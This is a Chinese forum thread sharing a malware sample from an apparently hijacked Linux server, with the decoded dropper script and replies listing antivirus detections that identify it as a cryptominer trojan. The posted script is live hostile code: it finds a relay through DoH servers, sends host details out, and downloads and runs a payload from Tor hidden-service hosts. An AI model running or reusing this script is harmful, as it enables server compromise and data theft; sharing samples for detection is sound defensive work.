服务器好像被挂马了

显示全部楼层 · 发表于 2021-7-1 08:39:46

本帖最后由 DF快递于 2021-7-1 08:42 编辑

特征：
1. 会生成一个占用大量CPU的进程
2. crontab添加一个临时任务

以下是脚本内容base64解码的内容

gh6uVzRB8a0DJ3I2m68OP9Zy1ltP7ik
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "sjetn54bpsfwmyxkflldgnq6kzcxd2j3bg5s4nxkzs7qoshr2jhhiyyd")
sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}
fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

复制代码

显示全部楼层 · 发表于 2021-7-1 08:41:13

本帖最后由 DF快递于 2021-7-1 08:45 编辑

麻烦分析下是什么行为，火绒kill，ksc miss

显示全部楼层 · 发表于 2021-7-1 08:44:08

avira miss

显示全部楼层 · 发表于 2021-7-1 09:30:46

智量 miss

显示全部楼层 · 发表于 2021-7-1 10:20:58

fs protection 扫描miss

显示全部楼层 · 发表于 2021-7-1 11:34:48

Avast
BV:Agent-BIV [Trj]

显示全部楼层 · 发表于 2021-7-1 11:48:59

DF快递发表于 2021-7-1 08:41
麻烦分析下是什么行为，火绒kill，ksc miss

Hello,

通过火绒的报毒分类名来看，应该是个Linux挖矿病毒

显示全部楼层 · 发表于 2021-7-1 11:49:30

dreams521 发表于 2021-7-1 09:30
智量 miss

智量不处理Linux病毒

显示全部楼层 · 发表于 2021-7-1 11:54:20

Hello,

已上报卡巴斯基

显示全部楼层 · 发表于 2021-7-1 12:33:24

KL：Trojan.Shell.Agent.af

[病毒样本] 服务器好像被挂马了